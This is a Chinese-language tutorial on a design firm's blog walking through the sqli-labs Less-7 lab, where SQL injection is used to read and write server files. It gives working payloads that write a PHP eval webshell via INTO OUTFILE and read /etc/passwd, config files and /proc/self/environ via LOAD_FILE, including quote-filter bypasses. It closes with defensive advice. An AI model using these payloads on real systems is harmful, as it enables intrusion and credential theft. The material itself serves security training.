尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

SQL注入文件读写实战:从数据库查询到系统入侵的攻防解析

SQL注入文件读写实战:从数据库查询到系统入侵的攻防解析 1. 从“查询”到“控制”理解SQL注入文件读写的本质很多刚接触Web安全的朋友对SQL注入的理解可能还停留在“拖库”上也就是利用注入点获取数据库里的用户名、密码、邮箱这些敏感信息。这确实是SQL注入最常见、最直接的危害。但今天我们要聊的是SQL注入攻击中一个更具威胁性的高级利用方式利用数据库的文件读写功能直接操作服务器文件系统。想象一下你发现了一个网站的搜索框存在注入漏洞原本你只能看到数据库返回的搜索结果。但如果这个数据库比如MySQL运行在特定的配置和权限下你就有可能通过注入的SQL语句让数据库服务器去读取它本地的任意文件比如网站的配置文件、系统密码文件甚至将查询到的数据写入服务器上的一个文件中。这意味着什么意味着攻击者可能从“数据窃取者”升级为“系统入侵者”直接拿到服务器的控制权。这不再是简单的数据泄露而是系统沦陷的前奏。我们这次要实战演练的靶场是著名的sqli-labs第7关Less-7。这一关被设计成一个“导出文件”的注入点核心目标就是利用SELECT ... INTO OUTFILE语句将我们构造的恶意内容写入服务器文件。这不仅仅是CTF比赛中的常客更是真实渗透测试中将SQL注入漏洞的危害最大化、获取WebShell的关键一步。通过这一关你将彻底明白为什么一个看似普通的查询漏洞最终能导致整个服务器被拿下。我会带你从环境配置、原理剖析一直走到完整的利用步骤并附上关键的截图确保你能亲手复现整个过程。2. 环境搭建与核心原理为什么能读写文件在动手之前我们必须把“为什么能这样做”搞清楚。盲目操作只会让你知其然不知其所以然。2.1 靶场环境与特殊配置sqli-labsLess-7这一关的页面提示是“Use outfile......”这已经明示了本关的考点。为了成功利用文件写入功能你的本地实验环境必须满足几个关键条件这些条件也模拟了现实中那些容易被成功利用的服务器配置数据库用户的高权限执行SELECT ... INTO OUTFILE或LOAD_FILE()函数需要数据库用户拥有FILE权限。在MySQL中FILE权限是一个全局权限允许用户读取服务器主机上任何可读的文件以及向任何可写的目录写入文件。通常只有root用户或管理员才会被授予此权限。在实战中如果发现应用使用的数据库连接账户拥有FILE权限那危险系数就大大增加了。secure_file_priv系统变量的设置这是MySQL中一个至关重要的安全配置。它限制了文件读写的目录。如果其值为NULLMySQL 5.5.53版本后的默认值则禁止任何文件的导入导出操作。如果其值为一个目录路径如/var/lib/mysql-files/则只允许在该目录下进行文件读写。如果其值为空字符串则不限制文件读写的目录这是最危险的状态。 为了让Less-7靶场能够被成功利用我们通常需要将secure_file_priv设置为空。你可以在MySQL命令行中执行SHOW VARIABLES LIKE ‘secure_file_priv’;来查看当前设置。Web应用对单引号的处理Less-7这一关的注入点通常涉及对用户输入的单引号进行了某种“转义”或“过滤”但过滤不彻底导致我们仍然可以“逃逸”出来。常见的套路是使用了mysql_real_escape_string()等函数转义了单引号但开发者可能错误地认为这样就安全了却没有处理好其他细节比如闭合方式这为我们留下了利用空间。注意在你的本地测试环境如使用XAMPP、PHPStudy等集成环境中修改secure_file_priv时务必通过修改MySQL配置文件如my.ini或my.cnf并重启MySQL服务来实现。直接在会话中SET这个变量是无效的。找到配置文件在[mysqld]段落下添加一行secure_file_priv然后重启服务。2.2 核心武器INTO OUTFILE与LOAD_FILE()MySQL提供了两个用于文件操作的关键SQL语句/函数它们是我们进行文件读写的“武器库”。SELECT ... INTO OUTFILE 这是写入文件的核心语句。它的标准语法是SELECT ‘你要写入的内容’ INTO OUTFILE ‘/绝对/路径/文件名’执行这条语句MySQL会以数据库运行用户的身份在指定的绝对路径下创建一个新文件并将SELECT查询的结果写入该文件。这里有几个致命的关键点文件必须不存在INTO OUTFILE不能覆盖已存在的文件。如果路径下同名文件已存在语句会执行失败。这要求我们在实战中需要找一个Web目录下不存在的文件名。绝对路径是必须的你不能使用相对路径。你必须知道Web目录在服务器上的绝对路径如/var/www/html/。内容完全可控SELECT后面的内容可以是任何我们通过注入拼接进去的字符串这意味着我们可以写入一个完整的PHP Webshell。LOAD_FILE() 这是读取文件的函数。它接受一个文件路径作为参数并返回该文件的内容。语法很简单SELECT LOAD_FILE(‘/etc/passwd’);如果当前数据库用户有FILE权限且文件可读这条语句就会返回/etc/passwd文件的内容。在渗透测试中这常被用来读取系统敏感文件如/etc/passwd,/proc/self/environ、Web应用配置文件如config.php,.env等从而获取更多信息如数据库密码、API密钥来扩大战果。为什么文件读写危害极大假设我们通过注入成功执行了这样一条语句SELECT ‘?php eval($_POST[“cmd”]);?’ INTO OUTFILE ‘/var/www/html/shell.php’那么服务器Web根目录下就会生成一个名为shell.php的文件。任何人访问http://target.com/shell.php并且通过POST传递一个cmd参数例如cmdsystem(‘whoami’);服务器就会执行对应的系统命令。攻击者就此获得了一个远程命令执行的后门服务器完全失守。3. Less-7关卡深度剖析与注入点探测了解了原理我们正式进入sqli-labsLess-7的实战。这一关的界面通常很简单可能只有一个输入框。我们的第一步永远是判断注入点类型和闭合方式。3.1 判断闭合方式与过滤规则Less-7的标题“Dump into Outfile”和提示都指向文件导出所以注入点很可能在一条SELECT语句的INTO OUTFILE部分附近。但我们需要先找到原始的SQL语句是如何拼接的。基础探测首先尝试正常的输入比如一个数字1观察回显。然后尝试经典的探测Payload1‘输入一个单引号1“输入一个双引号1‘)单引号加括号1‘))单引号加两个括号观察错误与回显在Less-7中你可能会发现输入1‘后页面返回了错误信息或者直接变成了一个空白页、报错页。而输入1‘)或1‘))时页面可能恢复了正常显示显示You are in.... Use outfile......。这是一个关键信号。闭合方式推断通过反复测试我们可以推断出原SQL语句的闭合结构。对于Less-7常见的闭合方式是‘))。也就是说源代码中的SQL语句可能类似于$sql “SELECT * FROM users WHERE id((“ . $_GET[‘id’] . “‘)) LIMIT 0,1”;当我们输入1‘))时拼接后的语句变成了SELECT * FROM users WHERE id((1‘)))) LIMIT 0,1这样我们输入的单引号先闭合了源码中的第二个单引号然后我们用两个右括号))闭合了id((最后我们还需要注释掉后面多余的字符。所以一个成功的探测Payload可能是1‘))--。--是MySQL中的单行注释在URL中代表空格用于注释掉后面多余的‘)) LIMIT 0,1保证语法正确。验证注入使用and 11和and 12来验证。构造Payload1‘)) and 11 --(页面应正常)1‘)) and 12 --(页面应异常如空白或错误) 如果符合预期则确认存在基于布尔逻辑的SQL注入漏洞且闭合方式为‘))。3.2 确认文件写入权限与路径在尝试写入之前我们必须先确认两个事当前用户是否有FILE权限以及我们知道Web目录的绝对路径。查询FILE权限我们可以通过查询mysql.user表或使用current_user()函数结合权限判断来确认。一个常用的Payload是1‘)) and (select count(*) from mysql.user where usercurrent_user() and file_priv‘Y’)0 --如果页面返回正常and后的条件为真说明当前用户拥有FILE权限。获取Web绝对路径这是文件写入成功最关键的一步。如果不知道路径INTO OUTFILE就无从写起。有几种常见方法利用数据库报错信息有时错误的SQL语句会暴露出文件的绝对路径。可以尝试故意构造语法错误例如1‘)) and extractvalue(1, concat(0x7e, (select basedir))) --。basedir是MySQL的安装目录Web目录通常在其附近或相对固定如/var/www/html。利用LOAD_FILE()读取可能包含路径的文件例如在Apache服务器上可以尝试读取/proc/self/cwd/../htdocs/index.php或环境变量文件。但更通用的是读取Web应用自身的错误日志或配置文件。不过Less-7靶场通常需要你已知路径或者路径是默认的。对于常见的PHP集成环境如XAMPP安装在C盘Web路径可能是C:/xampp/htdocs/sqli-labs/。在Linux测试环境下常用路径是/var/www/html/sqli-labs/。基于已知信息的猜测在CTF或内部测试中路径可能是常识。例如sqli-labs靶场本身就在Web目录下我们可以假设路径为/var/www/html/sqli-labs/。实操心得在真实渗透测试中获取Web绝对路径往往是最耗时、最需要技巧的环节。除了上述方法还可以结合其他漏洞如目录遍历、SSRF、框架特性如Laravel的php artisan route:list可能暴露路径、或者通过读取/proc/self/environ存储进程环境变量来寻找DOCUMENT_ROOT。在Less-7中我们通常直接使用靶场预设的或我们本地环境已知的路径。4. 构造利用链写入WebShell实战步骤假设我们已经确认闭合方式为‘))拥有FILE权限并且知道Web绝对路径是/var/www/html/sqli-labs/。现在我们来完成最关键的步骤——写入一个PHP Webshell。4.1 构造文件写入Payload我们要写入一个最简单的PHP一句话木马?php eval($_POST[‘cmd’]);?。我们需要将这段代码作为字符串通过SELECT查询写入到Web目录下的一个文件中。构造最终的注入Payload如下1‘)) union select 1, ‘?php eval($_POST[“cmd”]);?‘, 3 into outfile ‘/var/www/html/sqli-labs/shell.php‘--让我们拆解这个Payload1‘)) 用于闭合原始SQL语句中的id((‘部分。union select 1, ‘?php ... ?‘, 3 这是一个UNION查询。原始查询可能返回三列可以通过order by测出我们需要让UNION前后的列数一致。这里我们假设就是3列。我们将PHP代码放在第二列的位置也可以是第一列或第三列只要对应列的数据类型是字符串或能兼容即可。1和3是占位数据。into outfile ‘/var/www/html/sqli-labs/shell.php‘ 这是核心指定将UNION SELECT的结果写入到Web目录下的shell.php文件中。-- 注释掉原始查询中剩下的‘)) LIMIT 0,1等部分保证整个语句语法正确。重要细节文件分隔符在Windows系统上文件路径应使用/或\\如C:/xampp/htdocs/shell.php。在Linux/Unix上使用/。字符串中的引号我们的PHP代码里包含了双引号“。在SQL语句中字符串本身是由单引号引起来的。如果字符串内部也包含单引号需要进行转义。但这里我们内部用的是双引号所以没有冲突。如果必须用单引号则需要写成\‘。URL编码在通过浏览器URL传递这个Payload时空格、引号、井号等特殊字符需要被URL编码。空格编码为%20或单引号‘编码为%27井号#编码为%23如果使用#注释的话。--中的本身就代表空格。所以实际在浏览器地址栏输入的可能是http://localhost/sqli-labs/Less-7/?id1‘)) union select 1, ‘?php eval($_POST[“cmd”]);?‘, 3 into outfile ‘/var/www/html/sqli-labs/shell.php‘--你需要将其中的空格和引号进行编码。一个更稳妥的方式是使用Burp Suite等工具直接发送原始HTTP请求包避免浏览器自动编码带来的问题。4.2 执行与结果验证将构造好的Payload提交给Less-7的漏洞页面通常是?id参数。执行写入提交后如果页面没有报错而是正常显示了UNION SELECT中第一列1的内容或者是一个空白页但状态码是200这很可能意味着写入成功了。如果报错如Can‘t create/write to file则需要检查路径是否正确、目录是否可写、文件是否已存在。访问验证在浏览器中访问你试图写入的文件例如http://localhost/sqli-labs/shell.php。如果页面一片空白没有错误那么大概率是成功了。因为我们的shell.php代码只是定义了函数没有直接输出内容。为了进一步验证我们需要使用工具来连接这个WebShell。最常用的是中国菜刀或**AntSword蚁剑**这类WebShell管理工具。以蚁剑为例在蚁剑中添加一个数据URL填写http://localhost/sqli-labs/shell.php。连接密码填写我们写在代码中的cmd即POST参数名。编码器、请求头等通常可以默认。点击连接如果成功蚁剑会列出服务器上的目录和文件这证明WebShell已成功写入并执行。(此处应为蚁剑成功连接后显示服务器目录的截图)常见失败原因与排查权限不足MySQL进程用户如mysql或nobody对目标目录/var/www/html/sqli-labs/没有写权限。你需要检查目录权限ls -la /var/www/html/确保该目录对MySQL用户可写或者尝试写入到/tmp目录通常全局可写再尝试移动但这需要其他漏洞配合。secure_file_priv限制这是最常见的错误。务必确认MySQL的secure_file_priv变量为空‘’。在MySQL中执行SHOW VARIABLES LIKE ‘secure_file_priv’;查看。文件已存在INTO OUTFILE不能覆盖文件。尝试换一个不存在的文件名如shell123.php。路径错误Web绝对路径不正确。尝试通过读取其他文件如/etc/passwd来确认当前用户权限并重新推断Web路径。也可以尝试写入/tmp/test.txt来测试文件写入功能是否完全正常。引号转义如果应用层对输入中的单引号进行了转义在前面加反斜杠\‘我们的Payload就会失效。这时需要尝试宽字节注入或其他绕过技巧。Less-7有时就是考察这个但基础解法通常假设没有这种过滤。5. 拓展利用文件读取与信息收集在成功写入WebShell之前或之后文件读取功能LOAD_FILE()是一个强大的信息收集工具。它不需要INTO OUTFILE那样苛刻的“文件不存在”条件只要能读就行。5.1 利用LOAD_FILE()读取敏感文件假设闭合方式依然是‘))我们可以构造Payload来读取系统文件读取Linux系统用户列表1‘)) union select 1, load_file(‘/etc/passwd‘), 3--如果成功页面会显示/etc/passwd文件的内容你可以看到系统上的所有用户账户。读取Web应用配置文件这是获取数据库凭证、进一步渗透的关键。常见的配置文件路径有config.phpwp-config.php(WordPress)settings.php(Drupal).env(Laravel, 通常在上层目录)WEB-INF/web.xml(Java) 你需要根据目标Web应用的类型和路径猜测。例如读取本靶场可能的配置文件1‘)) union select 1, load_file(‘/var/www/html/sqli-labs/config.inc.php‘), 3--如果成功你可能会直接看到数据库的连接密码。读取MySQL配置文件/etc/mysql/my.cnf或~/.my.cnf可能包含数据库凭证。读取进程环境变量Linux特有/proc/self/environ文件包含了当前Web服务进程如Apache, php-fpm的所有环境变量其中极有可能包含DOCUMENT_ROOTWeb根目录、数据库连接信息如果通过环境变量配置等黄金信息。1‘)) union select 1, load_file(‘/proc/self/environ‘), 3--这个文件的内容通常是以空字符分隔的键值对在网页显示可能是一长串需要仔细查看。5.2 读取过程中的编码与绕过技巧直接读取文件时可能会遇到一些问题文件内容包含特殊字符如果文件内容包含HTML标签或特殊字符可能会破坏页面显示甚至被浏览器解释。这时可以将读取的内容进行十六进制编码后再输出。MySQL的hex()函数可以做到1‘)) union select 1, hex(load_file(‘/etc/passwd‘)), 3--执行后页面上会显示一长串十六进制数字。你可以将其复制出来使用在线工具或Python的binascii.unhexlify进行解码得到原始内容。绕过单引号过滤如果应用过滤了单引号导致load_file(‘/etc/passwd‘)中的引号被转义我们可以使用十六进制字符串或char()函数来绕过。十六进制表示路径/etc/passwd的十六进制是0x2F6574632F706173737764。1‘)) union select 1, load_file(0x2F6574632F706173737764), 3--使用char()函数拼接路径char(47,101,116,99,47,112,97,115,115,119,100)对应/etc/passwd的ASCII码。1‘)) union select 1, load_file(char(47,101,116,99,47,112,97,115,115,119,100)), 3--这两种方式都不需要显式的引号可以有效绕过对引号的过滤。6. 防御之道如何避免成为“跳板”通过Less-7的实战我们深刻体会到了SQL注入文件读写功能的破坏力。那么从开发者和运维的角度应该如何构建防线避免自己的数据库成为攻击者通往服务器的“跳板”呢最小权限原则这是最根本、最有效的措施。应用程序连接数据库的账户绝对不应该拥有FILE权限甚至不应该拥有GRANT、SHUTDOWN等高级权限。应该创建一个仅对业务所需的具体数据库、具体表拥有SELECT、INSERT、UPDATE、DELETE权限的专用账户。在MySQL中创建用户时就要明确指定权限范围。CREATE USER ‘app_user‘‘localhost‘ IDENTIFIED BY ‘StrongPassword!‘; GRANT SELECT, INSERT, UPDATE, DELETE ON myappdb.* TO ‘app_user‘‘localhost‘; FLUSH PRIVILEGES;安全配置MySQL设置secure_file_priv在生产环境中务必在MySQL配置文件my.cnf中将secure_file_priv设置为一个非空、非MySQL用户主目录的特定安全目录或者直接设置为NULL完全禁用。这是防止任意文件读写的铁闸。[mysqld] secure_file_priv/var/lib/mysql-files/禁用LOAD_FILE()与INTO OUTFILE除了通过secure_file_priv限制也可以考虑通过编译选项或安全插件来彻底禁用这些高危功能但对于需要合法使用这些功能的场景如数据导出则不适用。彻底的输入验证与参数化查询防止SQL注入是第一道防线。永远不要拼接用户输入到SQL语句中。使用参数化查询Prepared Statements或存储过程。以PHP的PDO为例$stmt $pdo-prepare(“SELECT * FROM users WHERE id :id”); $stmt-execute([‘id‘ $user_input]);参数化查询会将用户输入的数据始终视为“数据”而非“代码”从根本上杜绝了注入的可能。Web目录权限控制确保Web目录如/var/www/html的文件所有权和权限设置得当。让Web服务器进程用户如www-data只有必要的读和执行权限而MySQL进程用户mysql不应该对Web目录有写权限。这样即使FILE权限配置失误攻击者也无法在Web目录下创建文件。纵深防御与监控Web应用防火墙WAF部署WAF可以拦截常见的SQL注入攻击Payload包括那些包含INTO OUTFILE、LOAD_FILE、0x十六进制编码等特征的请求。数据库审计与日志开启MySQL的通用查询日志或慢查询日志监控异常的文件操作语句。任何包含INTO OUTFILE或LOAD_FILE的查询都应当引起高度警觉。文件系统监控使用入侵检测系统如AIDE, Tripwire或监控工具对Web目录下突然出现的新的.php、.jsp等可执行文件进行告警。文件读写型SQL注入将数据库漏洞的危害从数据层延伸到了系统层是Web安全中需要重点防范的高危场景。通过sqli-labsLess-7的动手实践我们不仅掌握了一种强大的攻击技术更重要的是理解了其背后的原理和赖以生存的环境条件从而能够更有针对性地去加固我们的系统。记住安全是一个持续的过程永远没有一劳永逸的解决方案。
返回列表